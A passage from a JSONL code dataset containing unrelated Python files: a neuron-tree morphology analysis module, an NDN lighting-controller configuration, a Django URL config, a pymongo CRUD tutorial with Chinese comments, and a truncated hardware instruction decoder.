ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n'''Basic functions used for tree analysis\n\nThese functions all depend on the internal structure of the tree or its\ndifferent iteration modes.\n'''\nfrom itertools import izip, product\nfrom neurom.core import tree as tr\nfrom neurom.core.types import TreeType\nfrom neurom.core.tree import ipreorder\nimport neurom.analysis.morphmath as mm\nfrom neurom.analysis.morphmath import pca\nfrom neurom.core.dataformat import COLS\nfrom neurom.core.tree import val_iter\nimport numpy as np\n\n\ndef path_length(tree):\n '''Get the path length from a sub-tree to the root node'''\n return np.sum(s for s in\n tr.imap_val(mm.segment_length, tr.isegment(tree, tr.iupstream)))\n\n\ndef local_bifurcation_angle(bifurcation_point):\n '''Return the opening angle between two out-going segments\n in a bifurcation point\n '''\n return mm.angle_3points(bifurcation_point.value,\n bifurcation_point.children[0].value,\n bifurcation_point.children[1].value)\n\n\ndef branch_order(tree_section):\n '''Branching order of a tree section\n\n The branching order is defined as the depth of the tree section.\n\n Note:\n The first level has branch order 0.\n '''\n node = tree_section[-1]\n bo = sum(1 for _ in tr.iforking_point(node, tr.iupstream))\n return bo - 2 if tr.is_forking_point(node) else bo - 1\n\n\ndef i_section_radial_dist(tree, pos=None, use_start_point=False):\n '''Return an iterator of radial distances of tree sections to a given point\n\n The radial distance is the euclidian distance between the either the\n end-point or rhe start point of the section and the point in question.\n\n Parameters:\n tree: tree object\n pos: origin to which distances are measured. It must have at least 3\\\n components. The first 3 components are (x, y, z).\\\n (default tree origin)\n\n use_start_point: If true, calculate distance from section start point,\\\n else from end-point (default, False)\n\n '''\n pos = tree.value if pos is None else pos\n sec_idx = 0 if use_start_point else -1\n return tr.imap_val(lambda s: mm.point_dist(s[sec_idx], pos), tr.isection(tree))\n\n\ndef find_tree_type(tree):\n\n \"\"\"\n Calculates the 'mean' type of the tree.\n Accepted tree types are:\n 'undefined', 'axon', 'basal', 'apical'\n The 'mean' tree type is defined as the type\n that is shared between at least 51% of the tree's points.\n Returns:\n The type of the tree\n \"\"\"\n\n tree_types = tuple(TreeType)\n\n types = [node[COLS.TYPE] for node in tr.val_iter(tr.ipreorder(tree))]\n types = [node[COLS.TYPE] for node in tr.val_iter(tr.ipreorder(tree))]\n\n return tree_types[int(np.median(types))]\n\n\ndef set_tree_type(tree):\n ''' Set the type of a tree as 'type' attribute'''\n tree.type = find_tree_type(tree)\n\n\ndef get_tree_type(tree):\n '''Return a tree's type\n\n If tree does not have a type, calculate it.\n Otherwise, use its pre-computed value.\n '''\n\n if not hasattr(tree, 'type'):\n set_tree_type(tree)\n\n return tree.type\n\n\ndef n_sections(tree):\n \"\"\"\n Return number of sections in tree\n \"\"\"\n return sum(1 for _ in tr.isection(tree))\n\n\ndef n_segments(tree):\n \"\"\"\n Return number of segments in tree\n \"\"\"\n return sum(1 for _ in tr.isegment(tree))\n\n\ndef n_bifurcations(tree):\n \"\"\"\n Return number of bifurcations in tree\n \"\"\"\n return sum(1 for _ in tr.ibifurcation_point(tree))\n\n\ndef n_terminations(tree):\n \"\"\"\n Return number of terminations in tree\n \"\"\"\n return sum(1 for _ in tr.ileaf(tree))\n\n\ndef trunk_origin_radius(tree):\n '''Radius of the first point of a tree'''\n return tree.value[COLS.R]\n\n\ndef trunk_section_length(tree):\n '''Length of the initial tree section\n\n Returns:\n Length of first section of tree or 0 if single point tree\n '''\n try:\n _it = tr.imap_val(mm.section_length, tr.isection(tree))\n return _it.next()\n except StopIteration:\n return 0.0\n\n\ndef trunk_origin_direction(tree, soma):\n '''Vector of trunk origin direction defined as\n (initial tree point - soma center) of the tree.\n '''\n return mm.vector(tree.value, soma.center)\n\n\ndef trunk_origin_elevation(tree, soma):\n '''Angle between x-axis and vector defined by (initial tree point - soma center)\n on the x-y half-plane.\n\n Returns:\n Angle in radians between -pi/2 and pi/2\n '''\n vector = trunk_origin_direction(tree, soma)\n\n norm_vector = np.linalg.norm(vector)\n\n if norm_vector >= np.finfo(type(norm_vector)).eps:\n return np.arcsin(vector[COLS.Y] / norm_vector)\n else:\n raise ValueError(\"Norm of vector between soma center and tree is almost zero.\")\n\n\ndef trunk_origin_azimuth(tree, soma):\n '''Angle between x-axis and vector defined by (initial tree point - soma center)\n on the x-z plane.\n\n Returns:\n Angle in radians between -pi and pi\n '''\n vector = trunk_origin_direction(tree, soma)\n\n return np.arctan2(vector[COLS.Z], vector[COLS.X])\n\n\ndef partition(tree):\n '''Measures the distribution of sections\n to the children subtrees at each bifurcation point.\n Partition is defined as the max/min number of sections\n between the children subtrees of a bifurcation point.\n\n Returns:\n List of partition for each bifurcation point.\n '''\n def partition_at_point(bif_point):\n '''Partition at each bif point.'''\n n = float(n_sections(bif_point.children[0]))\n m = float(n_sections(bif_point.children[1]))\n return max(n, m) / min(n, m)\n\n return [partition_at_point(i)\n for i in tr.ibifurcation_point(tree)]\n\n\ndef get_bounding_box(tree):\n \"\"\"\n Returns:\n The boundaries of the tree in three dimensions:\n [[xmin, ymin, zmin],\n [xmax, ymax, zmax]]\n \"\"\"\n\n min_xyz, max_xyz = (np.array([np.inf, np.inf, np.inf]),\n np.array([np.NINF, np.NINF, np.NINF]))\n\n for p in val_iter(tr.ipreorder(tree)):\n min_xyz = np.minimum(p[:COLS.R], min_xyz)\n max_xyz = np.maximum(p[:COLS.R], max_xyz)\n\n return np.array([min_xyz, max_xyz])\n\n\ndef principal_direction_extent(tree):\n '''Calculate the extent of a tree, that is the maximum distance between\n the projections on the principal directions of the covariance matrix\n of the x,y,z points of the nodes of the tree.\n\n Input\n tree : a tree object\n\n Returns\n\n extents : the extents for each of the eigenvectors of the cov matrix\n eigs : eigenvalues of the covariance matrix\n eigv : respective eigenvectors of the covariance matrix\n '''\n # extract the x,y,z coordinates of all the points in the tree\n points = np.array([value[COLS.X: COLS.R]for value in val_iter(ipreorder(tree))])\n\n # center the points around 0.0\n points -= np.mean(points, axis=0)\n\n # principal components\n _, eigv = pca(points)\n\n extent = np.zeros(3)\n\n for i in range(eigv.shape[1]):\n\n # orthogonal projection onto the direction of the v component\n scalar_projs = np.sort(np.array([np.dot(p, eigv[:, i]) for p in points]))\n\n extent[i] = scalar_projs[-1]\n\n if scalar_projs[0] < 0.:\n extent -= scalar_projs[0]\n\n return extent\n\n\ndef compare_trees(tree1, tree2):\n '''\n Comparison between all the nodes and their respective radii between two trees.\n Ids are do not have to be identical between the trees, and swapping is allowed\n\n Returns:\n\n False if the trees are not identical. True otherwise.\n '''\n leaves1 = list(tr.ileaf(tree1))\n leaves2 = list(tr.ileaf(tree2))\n\n if len(leaves1) != len(leaves2):\n\n return False\n\n else:\n\n nleaves = len(leaves1)\n\n for leaf1, leaf2 in product(leaves1, leaves2):\n\n is_equal = True\n\n for node1, node2 in izip(tr.val_iter(tr.iupstream(leaf1)),\n tr.val_iter(tr.iupstream(leaf2))):\n\n if any(node1[0:5] != node2[0:5]):\n\n is_equal = False\n continue\n\n if is_equal:\n nleaves -= 1\n\n return nleaves == 0\n","sub_path":"neurom/analysis/morphtree.py","file_name":"morphtree.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"597243043","text":"###########################\n# NDN Application Configuration\n###########################\n# this section is needed for configuration manager to authorize the app's namespace\n\nappName = \"controller\"\nappPrefix = \"ccnx:/ndn/ucla.edu/apps/lighting/TV1/\"\nappDescription = \"lighting controller\"\nkeyFile = \"/home/lighting/ndn-lighting/web/colorExpressor.pem\"\n\n# for namecrypto\nfixtureKey = \"1234567812345678\"\n\ncapabilities = {\"setRGB\", \"readRGB\"}\nappDeviceNames = {\"living-room-front\",\"living-room-right\",\"window-left\"}\n\ncontrolNameSpace = {\n\"ccnx:/ndn/ucla.edu/apps/lighting/TV1/fixture/living-room-right/readRGB\",\n\"ccnx:/ndn/ucla.edu/apps/lighting/TV1/fixture/window-left/readRGB\",\n\"ccnx:/ndn/ucla.edu/apps/lighting/TV1/fixture/living-room-front/readRGB\",\n\"ccnx:/ndn/ucla.edu/apps/lighting/TV1/fixture/living-room-right/setRGB\",\n\"ccnx:/ndn/ucla.edu/apps/lighting/TV1/fixture/window-left/setRGB\",\n\"ccnx:/ndn/ucla.edu/apps/lighting/TV1/fixture/living-room-front/setRGB\"\n}\n\n# list of authorized applications - used to determine interest priority. \nauthorizedApplications = {\n\"alarm\",\n\"TV1webSequecner\",\n\"TV1ArtNetFader\",\n\"TV1Sequencer\"\n}\n\n# simulation of burned in names\n#\n# these could be pulled in from external server via https or ccnx\n# but that is in itself a hack / temporary, so for now we put them here & can extend in future\n# note this was built to also be read from C -\n# thus if expanded, change to match per-item param count:\nnumValPerKey = 4 # right now just MAC/UID, IP, MfrTypeComponent, KINET UDP Port\ndeviceList = (\n'00:1c:42:00:00:00', '192.168.3.52', 'phillips/ColorBlast', 50009,\n'00:1c:42:00:00:02', '192.168.3.53', 'phillips/ColorBlastTRX', 50011,\n'00:1c:42:00:00:04', '192.168.3.51', 'phillips/ColorBlaze', 50012,\n'00:1c:42:00:00:08', '169.192.0.50', 'phillips/ColorBlaze', 50013,\n'00:1c:42:00:00:10', '131.179.141.17', 'ArtNet', 50010\n)\n\n# also note IP address is for Kinet and is to be auto-detected and written *after* ccnx cfg handshake\n# the only thing humans should enter to this file is the serial of the devices & the typeComponent\n# the serial field could be populated with MAC address for now.\n# as well as anything necessary for application signing\n\n\n############################\n# Application Runtime:\n############################\n# the following are not NDN specific / not required for CM \n# yet still required by app\n\n# MongoDB (for image analysis)\n# collection name\ncolName = \"lighting\"\ndbHost = \"localhost\"\ndbPort = 27016\n#if dev on localhost w/o mongodb, just forward the borges port. ie:\n# ssh -v -L 27016:localhost:27016 borges.metwi.ucla.edu\n\n#length of time (in ms) that \nwindow = 3000000\n\n\n#temporary runtime block (also for use by analysis)\n#technically all we need here is name, UDP, and DMX channel\n#yet until we decide how/where to merge it:\n\nnames=[\n\n{'name':'living-room-left' , 'DMX':1,'TYPE':\"ColorBlazeL\", 'UDP':50013},\n{'name':'living-room-right', 'DMX':1,'TYPE':\"ColorBlazeR\", 'UDP':50012},\n{'name':'window-right' , 'DMX':1,'TYPE':\"ColorBlast\", 'UDP':50009},\n{'name':'entrance-door' , 'DMX':2,'TYPE':\"ColorBlast\", 'UDP':50009},\n{'name':'stairs' , 'DMX':3,'TYPE':\"ColorBlast\", 'UDP':50009},\n{'name':'bedroom' , 'DMX':4,'TYPE':\"ColorBlast\", 'UDP':50009},\n{'name':'incandescent' , 'DMX':1,'TYPE':\"ArtNet\" , 'UDP':50010},\n{'name':'pastel-right-c' , 'DMX':1,'TYPE':\"ColorBlastTRX\", 'UDP':50011},\n{'name':'pastel-left-b' , 'DMX':2,'TYPE':\"ColorBlastTRX\", 'UDP':50011},\n{'name':'pastel-right-d' , 'DMX':3,'TYPE':\"ColorBlastTRX\", 'UDP':50011},\n{'name':'pastel-left-a' , 'DMX':4,'TYPE':\"ColorBlastTRX\", 'UDP':50011}\n\n]\n\n#max number of lights per Data Enabler\n#needed by driver but legacy/to be depricated\nnumLights = \"4\"\n\n\n#depth (from right) of device name\ndeviceNameDepth = 5\n#ccnx:/ndn/ucla.edu/apps/lighting/TV1/pastel-left-b/setRGB/000000\n# ideally this should be derived during runtime (once)\n\n# in seconds: -1 is forver\n# for main ccnx run, useful for profiling\nruntimeDuration = -1","sub_path":"web/colorExpressor_cfg.py","file_name":"colorExpressor_cfg.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"504428850","text":"from django.conf.urls import patterns, url\nfrom .views import *\n\n\nurlpatterns = patterns('',\n url(r'^alta/$', GastosCreateView.as_view(), name='gastos_alta'),\n url(r'^listado/$', GastosListView.as_view(), name='gastos_listado'),\n url(r'^informe/$', GastosTemplateView.as_view(), name='gastos_informe'),\n #url(r'^detalle_pago/$', DetallePagoTemplateView.as_view(), name='detalle_pago_report'),\n #url(r'^imprimir/(?P[-_\\w]+)/$', ComprobanteDetailView.as_view(), name='comprobantes_imprimir'),\n )","sub_path":"apps/gastos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"61248089","text":"# encoding: utf-8\n# view more \n# * [PyMongo 3.6.0 documentation](http://api.mongodb.com/python/current/tutorial.html)\n# * [python操作MongoDB](https://www.cnblogs.com/melonjiang/p/6536876.html)\n# * [mongoDB 学习笔记纯干货(mongoose、增删改查、聚合、索引、连接、备份与恢复、监控等等](https://www.jianshu.com/p/baea1bce6de3)\n\nfrom pymongo import MongoClient\n# 连接mongodb\n# MongoDB server version: 3.4.5\nconn = MongoClient('127.0.0.1', 27017) # 'mongodb://user:pwd@localhost:27017'\ndb = conn.test # 切换到 test 数据库\n\n\n# 插入数据\ndb.users.insert({'name':'zhangsan', 'age':18})\ndb.users.save({'name':'zhangsan', 'age':18})\n\n# 插入多条\nusers=[{'name':'zhangsan', 'age':18},{'name':'lisi', 'age':20}]\ndb.users.insert(users)\n\n\n# 查询数据(查询不到则返回None)\n# 查询全部\nfor i in db.users.find():\n print(i)\n\n# 将cursor转化为list\nresult = db.users.find()\nresult_list = list(result[:])\n\n\n# 查询name=zhangsan的,语义上非常易于理解,都是json格式,与save一致\nfor i in db.users.find({'name':'zhangsan'}):\n print(i)\n\nprint(db.users.find_one({'name':'zhangsan'}))\n'''\n{'_id': ObjectId('5a43b8b71b1997c5a5afa71d'), 'name': 'zhangsan', 'age': 18}\n'''\n\n# 查询 like\ndb.users.find({'name': {'$regex': '^Joe'}})\n# 相当于 SELECT * FROM users WHERE name LIKE \"Joe%\"\n\n# 条件操作符\ndb.users.find({\"age\" : {'$gt' : 20, '$lt':30} })\n# 相当于 SELECT * FROM users WHERE age > 100\n\n\n# 正则表达式\n# http://www.sharejs.com/codes/python/9009\n# db.stock.update({'code': {'$regex': '^%s'}},\n\n\n# 排序, 注意是[], 而不是{}\ndb.users.find({}).sort([('age',1)])\n# 相当于 SELECT * FROM users order by asc , 注意这里与原生语法不一样sort({'age':1})\n\n\n# count\ndb.users.find({}).count()\n# 相当于 SELECT count(*) FROM users\n\n\n# 更新数据\n'''\ndb.users.update(\n , # update 的查询条件,类似sql update查询内where后面的\n , # update的对象和一些更新的操作符(如$set,$inc...)等,也可以理解为sql update查询内set后面的\n upsert: , # 可选,这个参数的意思是,如果不存在 update 的记录,是否插入记录,true 为插入,默认是 false,不插入\n multi: , # 可选,mongodb 默认是false,只更新找到的第一条记录,如果这个参数为true,就把按条件查出来多条记录全部更新\n writeConcern: # 可选,抛出异常的级别\n)\nupsert => update and insert 更新插入\n'''\n# 把上面插入的数据内的age改为20\ndb.users.update({'name':'zhangsan'}, {'$set':{'age':20}}) # 注意:是$set!!!\n# 相当于:update users set age=20 where name='zhangsan'; \n# 注意:$set 操作符为部分更新操作符,只更新 $set 之后的数据,而不是覆盖之前的数据!!! 必须设置$set, 否则为整个替换\n\n\n# 删除一个字段\ndb.users.update({}, {'$unset':{'content':''}}, upsert=False, multi=True)\n\n\n\n\n# 删除数据\n'''\ndb.users.remove(\n , #(可选)删除的文档的条件\n justOne: , #(可选)如果设为 true 或 1,则只删除一个文档(使用后无效,仍全部删除)\n writeConcern: #(可选)抛出异常的级别\n)\n'''\n# 删除name=lisi的全部记录\ndb.users.remove({'name':'lisi'})\n\n# 删除name=lisi的某个id的记录\n# id = db.users.find_one({'name':'lisi'})['_id']\n# db.users.remove(id) # 注意:这里的id是ObjectId, 直接使用字符串id删除无法删除\n\n# 删除集合里的所有记录\ndb.users.remove()\n'''\n{'n': 1, 'ok': 1.0}\n'''\n\n\n# 关闭mongo连接\nconn.close()\n\n\n\n\n","sub_path":"mongodb/01_mongodb.py","file_name":"01_mongodb.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"6957361","text":"import sys\nfrom utils import write\n\n\ndef decoder(instruct_file, decoder_file):\n PDMA = \"10010\" # 12\n L_IOB2N = \"01010\" # 0A\n L_WB2N = \"01011\" # 0B\n S_N2IOB = \"01101\" # 0D\n Debug = \"11110\" # 1E\n Stop = \"11111\"\n Softmax = \"00110\"\n\n str1 = \"\"\n inst_file = open(instruct_file)\n decoded_file = open(decoder_file, 'w')\n counter_inst = 1\n for line in inst_file:\n if line[0] == '-':\n continue\n inst = line[:-1]\n inst = inst.split(',')\n inst = inst[0]\n inst_n = \"inst_\" + str(counter_inst) + \" \" + inst + \"\\n\"\n decoded_file.write(inst_n)\n inst_bin = bin(int(inst, 16))[:1:-1]\n if len(inst_bin) < 128:\n inst_bin += (128 - len(inst_bin)) * '0'\n\n opcode = inst_bin[write.inst['opcode'][0]:write.inst['opcode'][1] - 1:-1]\n\n if opcode == PDMA:\n src_start = inst_bin[write.DMA_list['src_start'][0]:write.DMA_list['src_start'][1] - 1:-1]\n dest_start = inst_bin[write.DMA_list['dest_start'][0]:write.DMA_list['dest_start'][1] - 1:-1]\n d_lines = inst_bin[write.DMA_list['d_lines'][0]:write.DMA_list['d_lines'][1] - 1:-1]\n dma_mode = inst_bin[write.DMA_list['dma_mode'][0]:write.DMA_list['dma_mode'][1] - 1:-1]\n be_stream = inst_bin[write.DMA_list['be_stream'][0]:write.DMA_list['be_stream'][1] - 1:-1]\n be_no_block = inst_bin[write.DMA_list['be_no_block'][0]:write.DMA_list['be_no_block'][1] - 1:-1]\n i_line_size = inst_bin[write.DMA_list['i_line_size'][0]:write.DMA_list['i_line_size'][1] - 1:-1]\n single_i_pad_num = inst_bin[write.DMA_list['single_i_pad_num'][0]\n :write.DMA_list['single_i_pad_num'][1] - 1:-1]\n double_i_pad_num = inst_bin[write.DMA_list['double_i_pad_num'][0]\n :write.DMA_list['double_i_pad_num'][1] - 1:-1]\n i_stride = inst_bin[write.DMA_list['i_stride'][0]:write.DMA_list['i_stride'][1] - 1:-1]\n dma_mode_str = \"\"\n if int(dma_mode, 2) == 1:\n dma_mode_str = \"data_all -> data_1\"\n elif int(dma_mode, 2) == 2:\n dma_mode_str = \"data_all -> data_2\"\n elif int(dma_mode, 2) == 3:\n dma_mode_str = \"data_1 -> data_all\"\n elif int(dma_mode, 2) == 4:\n dma_mode_str = \"data_2 -> data_all\"\n elif int(dma_mode, 2) == 5:\n dma_mode_str = \"weight_all -> weight&index\"\n elif int(dma_mode, 2) == 7:\n dma_mode_str = \"index_all -> index\"\n elif int(dma_mode, 2) == 8:\n dma_mode_str = \"bias_all -> bias\"\n elif int(dma_mode, 2) == 6:\n dma_mode_str = \"weight_all -> weight\"\n\n str1 = \"inst name : PDMA\\n\"\n str1 = str1 + \"dma_mode : %s(%s), %s \\n\" % (dma_mode, str(int(dma_mode, 2)), dma_mode_str)\n str1 = str1 + \"src_start : %s(%s,%s)\\n\" % (src_start, hex(int(src_start, 2)), str(int(src_start, 2)))\n str1 = str1 + \"dest_start : %s(%s,%s)\\n\" % (dest_start, hex(int(dest_start, 2)), str(int(dest_start, 2)))\n str1 = str1 + \"d_lines : %s(%s)\\n\" % (d_lines, str(int(d_lines, 2)))\n str1 = str1 + \"be_stream : %s(%s)\\n\" % (be_stream, str(int(be_stream, 2)))\n str1 = str1 + \"be_no_block : %s(%s)\\n\" % (be_no_block, str(int(be_no_block, 2)))\n str1 = str1 + \"i_line_size : %s(%s)\\n\" % (i_line_size, str(int(i_line_size, 2)))\n str1 = str1 + \"single_i_pad_num : %s(%s)\\n\" % (single_i_pad_num, str(int(single_i_pad_num, 2)))\n str1 = str1 + \"double_i_pad_num : %s(%s)\\n\" % (double_i_pad_num, str(int(double_i_pad_num, 2)))\n str1 = str1 + \"i_stride : %s(%s)\\n\\n\\n\" % (i_stride, str(int(i_stride, 2)))\n\n elif opcode == L_IOB2N:\n addr_start_d = inst_bin[write.IOB2N_list['addr_start_d'][0]:write.IOB2N_list['addr_start_d'][1] - 1:-1]\n buffer_flag = inst_bin[write.IOB2N_list['buffer_flag'][0]:write.IOB2N_list['buffer_flag'][1] - 1:-1]\n mode = inst_bin[write.IOB2N_list['mode'][0]:write.IOB2N_list['mode'][1] - 1:-1]\n i_x_length = inst_bin[write.IOB2N_list['i_x_length'][0]:write.IOB2N_list['i_x_length'][1] - 1:-1]\n i_y_length = inst_bin[write.IOB2N_list['i_y_length'][0]:write.IOB2N_list['i_y_length'][1] - 1:-1]\n i_piece_num = inst_bin[write.IOB2N_list['i_piece_num'][0]:write.IOB2N_list['i_piece_num'][1] - 1:-1]\n tiling_type = inst_bin[write.IOB2N_list['tiling_type'][0]:write.IOB2N_list['tiling_type'][1] - 1:-1]\n part_num = inst_bin[write.IOB2N_list['part_num'][0]:write.IOB2N_list['part_num'][1] - 1:-1]\n last_part = inst_bin[write.IOB2N_list['last_part'][0]:write.IOB2N_list['last_part'][1] - 1:-1]\n i_line_size = inst_bin[write.IOB2N_list['i_line_size'][0]:write.IOB2N_list['i_line_size'][1] - 1:-1]\n avg_pooling_coe = \\\n inst_bin[write.IOB2N_list['avg_pooling_coe'][0]:write.IOB2N_list['avg_pooling_coe'][1] - 1:-1]\n add_bias = inst_bin[write.IOB2N_list['is_bias'][0]:write.IOB2N_list['is_bias'][1] - 1:-1]\n\n tiling_type_str = \"\"\n if int(tiling_type, 2) == 3:\n tiling_type_str = \"no tiling\"\n elif int(tiling_type, 2) == 1:\n tiling_type_str = \"first tiling\"\n elif int(tiling_type, 2) == 2:\n tiling_type_str = \"last tiling\"\n elif int(tiling_type, 2) == 0:\n tiling_type_str = \"middle tiling\"\n\n str1 = \"inst name : L_IOB2N\\n\"\n str1 = str1 + \"mode : %s\\n\" % mode\n str1 = str1 + \"buffer_flag : %s\\n\" % buffer_flag\n str1 = \\\n str1 \\\n + \"addr_start_d: %s(%s,%s)\\n\" % (addr_start_d, hex(int(addr_start_d, 2)), str(int(addr_start_d, 2)))\n str1 = str1 + \"i_x_length : %s(%s)\\n\" % (i_x_length, str(int(i_x_length, 2)))\n str1 = str1 + \"i_y_length : %s(%s)\\n\" % (i_y_length, str(int(i_y_length, 2)))\n str1 = str1 + \"i_piece_num : %s(%s)\\n\" % (i_piece_num, str(int(i_piece_num, 2)))\n str1 = str1 + \"tiling_type : %s(%s), %s \\n\" % (tiling_type, str(int(tiling_type, 2)), tiling_type_str)\n str1 = str1 + \"part_num : %s(%s) \\n\" % (part_num, str(int(part_num, 2)))\n str1 = str1 + \"last_part : %s(%s) \\n\" % (last_part, str(int(last_part, 2)))\n str1 = str1 + \"i_line_size : %s(%s)\\n\" % (i_line_size, str(int(i_line_size, 2)))\n str1 = str1 + \"avg_pooling_coe : %s(%s) \\n\" % (avg_pooling_coe, str(int(avg_pooling_coe, 2)))\n str1 = str1 + \"add_bias : %s(%s) \\n\\n\\n\" % (add_bias, str(int(add_bias, 2)))\n\n elif opcode == L_WB2N:\n addr_start_w = inst_bin[write.WB2N_list['addr_start_w'][0]:write.WB2N_list['addr_start_w'][1] - 1:-1]\n addr_start_b = inst_bin[write.WB2N_list['addr_start_b'][0]:write.WB2N_list['addr_start_b'][1] - 1:-1]\n kernel = inst_bin[write.WB2N_list['kernel'][0]:write.WB2N_list['kernel'][1] - 1:-1]\n stride = inst_bin[write.WB2N_list['stride'][0]:write.WB2N_list['stride'][1] - 1:-1]\n pad = inst_bin[write.WB2N_list['pad'][0]:write.WB2N_list['pad'][1] - 1:-1]\n w_q_encode = inst_bin[write.WB2N_list['w_q_encode'][0]:write.WB2N_list['w_q_encode'][1] - 1:-1]\n i_q_encode = inst_bin[write.WB2N_list['i_q_encode'][0]:write.WB2N_list['i_q_encode'][1] - 1:-1]\n o_q_encode = inst_bin[write.WB2N_list['o_q_encode'][0]:write.WB2N_list['o_q_encode'][1] - 1:-1]\n\n str1 = \"inst name : L_WB2N\\n\"\n str1 = \\\n str1 \\\n + \"addr_start_w: %s(%s,%s)\\n\" % (addr_start_w, hex(int(addr_start_w, 2)), str(int(addr_start_w, 2)))\n str1 = \\\n str1 \\\n + \"addr_start_b: %s(%s,%s)\\n\" % (addr_start_b, hex(int(addr_start_b, 2)), str(int(addr_start_b, 2)))\n str1 = str1 + \"kernel : %s(%s)\\n\" % (kernel, str(int(kernel, 2)))\n str1 = str1 + \"stride : %s(%s)\\n\" % (stride, str(int(stride, 2)))\n str1 = str1 + \"pad : %s(%s)\\n\" % (pad, str(int(pad, 2)))\n str1 = str1 + \"w_q_encode : %s(%s) \\n\" % (w_q_encode, str(int(w_q_encode, 2)))\n str1 = str1 + \"i_q_encode : %s(%s) \\n\" % (i_q_encode, str(int(i_q_encode, 2)))\n str1 = str1 + \"o_q_encode : %s(%s) \\n\\n\\n\" % (o_q_encode, str(int(o_q_encode, 2)))\n\n elif opcode == S_N2IOB:\n addr_start_s = inst_bin[write.N2IOB_list['addr_start_s'][0]:write.N2IOB_list['addr_start_s'][1] - 1:-1]\n o_x_length = inst_bin[write.N2IOB_list['o_x_length'][0]:write.N2IOB_list['o_x_length'][1] - 1:-1]\n o_y_length = inst_bin[write.N2IOB_list['o_y_length'][0]:write.N2IOB_list['o_y_length'][1] - 1:-1]\n o_piece_num = inst_bin[write.N2IOB_list['o_piece_num'][0]:write.N2IOB_list['o_piece_num'][1] - 1:-1]\n jump_length = inst_bin[write.N2IOB_list['jump_length'][0]:write.N2IOB_list['jump_length'][1] - 1:-1]\n o_line_size = inst_bin[write.N2IOB_list['o_line_size'][0]:write.N2IOB_list['o_line_size'][1] - 1:-1]\n s_all_length = inst_bin[write.N2IOB_list['s_all_length'][0]:write.N2IOB_list['s_all_length'][1] - 1:-1]\n act_mode = inst_bin[write.N2IOB_list['act_mode'][0]:write.N2IOB_list['act_mode'][1] - 1:-1]\n\n str1 = \"inst name : S_N2IOB\\n\"\n str1 = \\\n str1 \\\n + \"addr_start_s: %s(%s,%s)\\n\" % (addr_start_s, hex(int(addr_start_s, 2)), str(int(addr_start_s, 2)))\n str1 = str1 + \"o_x_length : %s(%s)\\n\" % (o_x_length, str(int(o_x_length, 2)))\n str1 = str1 + \"o_y_length : %s(%s)\\n\" % (o_y_length, str(int(o_y_length, 2)))\n str1 = str1 + \"o_piece_num : %s(%s)\\n\" % (o_piece_num, str(int(o_piece_num, 2)))\n str1 = str1 + \"jump_length: %s(%s)\\n\" % (jump_length, str(int(jump_length, 2)))\n str1 = str1 + \"o_line_size: %s(%s)\\n\" % (o_line_size, str(int(o_line_size, 2)))\n str1 = str1 + \"s_all_length: %s(%s)\\n\" % (s_all_length, str(int(s_all_length, 2)))\n str1 = str1 + \"act_mode : %s(%s) \\n\\n\\n\" % (act_mode, str(int(act_mode, 2)))\n\n elif opcode == Debug:\n layer_type = inst_bin[write.Debug_list['layer_type'][0]:write.Debug_list['layer_type'][1] - 1:-1]\n layer_cnt = inst_bin[write.Debug_list['layer_cnt'][0]:write.Debug_list['layer_cnt'][1] - 1:-1]\n tiling_cnt = inst_bin[write.Debug_list['tiling_cnt'][0]:write.Debug_list['tiling_cnt'][1] - 1:-1]\n buffer_type = inst_bin[write.Debug_list['buffer_type'][0]:write.Debug_list['buffer_type'][1] - 1:-1]\n o_q_encode = inst_bin[write.Debug_list['o_q_encode'][0]:write.Debug_list['o_q_encode'][1] - 1:-1]\n layer_cnt_2 = inst_bin[write.Debug_list['layer_cnt_2'][0]:write.Debug_list['layer_cnt_2'][1] - 1:-1]\n branch_cnt = inst_bin[write.Debug_list['branch_cnt'][0]:write.Debug_list['branch_cnt'][1] - 1:-1]\n branch_cnt_2 = inst_bin[write.Debug_list['branch_cnt_2'][0]:write.Debug_list['branch_cnt_2'][1] - 1:-1]\n act_mode = inst_bin[write.Debug_list['act_mode'][0]:write.Debug_list['act_mode'][1] - 1:-1]\n start_addr = inst_bin[write.Debug_list['start_addr'][0]:write.Debug_list['start_addr'][1] - 1:-1]\n l_all_length = inst_bin[write.Debug_list['l_all_length'][0]:write.Debug_list['l_all_length'][1] - 1:-1]\n\n layer_type_str = \"\"\n if int(layer_type, 2) == 0:\n layer_type_str = \"conv\"\n elif int(layer_type, 2) == 1:\n layer_type_str = \"pool\"\n elif int(layer_type, 2) == 2:\n layer_type_str = \"fc\"\n elif int(layer_type, 2) == 3:\n layer_type_str = \"res\"\n elif int(layer_type, 2) == 4:\n layer_type_str = \"softmax\"\n\n str1 = \"inst name : Debug\\n\"\n str1 = str1 + \"layer_type: %s(%s), %s\\n\" % (layer_type, str(int(layer_type, 2)), layer_type_str)\n str1 = str1 + \"layer_cnt: %s(%s)\\n\" % (layer_cnt, str(int(layer_cnt, 2)))\n str1 = str1 + \"tiling_cnt: %s(%s)\\n\" % (tiling_cnt, str(int(tiling_cnt, 2)))\n str1 = str1 + \"buffer_type: %s(%s)\\n\" % (buffer_type, str(int(buffer_type)))\n str1 = str1 + \"o_q_encode: %s(%s)\\n\" % (o_q_encode, str(int(o_q_encode, 2)))\n str1 = str1 + \"layer_cnt_2: %s(%s)\\n\" % (layer_cnt_2, str(int(layer_cnt_2, 2)))\n str1 = str1 + \"branch_cnt: %s(%s)\\n\" % (branch_cnt, str(int(branch_cnt, 2)))\n str1 = str1 + \"branch_cnt_2: %s(%s)\\n\" % (branch_cnt_2, str(int(branch_cnt_2, 2)))\n str1 = str1 + \"act_mode: %s(%s)\\n\" % (act_mode, str(int(act_mode, 2)))\n str1 = str1 + \"start_addr: %s(%s)\\n\" % (start_addr, str(int(start_addr, 2)))\n str1 = str1 + \"l_all_length: %s(%s)\\n\\n\\n\" % (l_all_length, str(int(l_all_length, 2)))\n\n elif opcode == Stop:\n str1 = \"inst name : 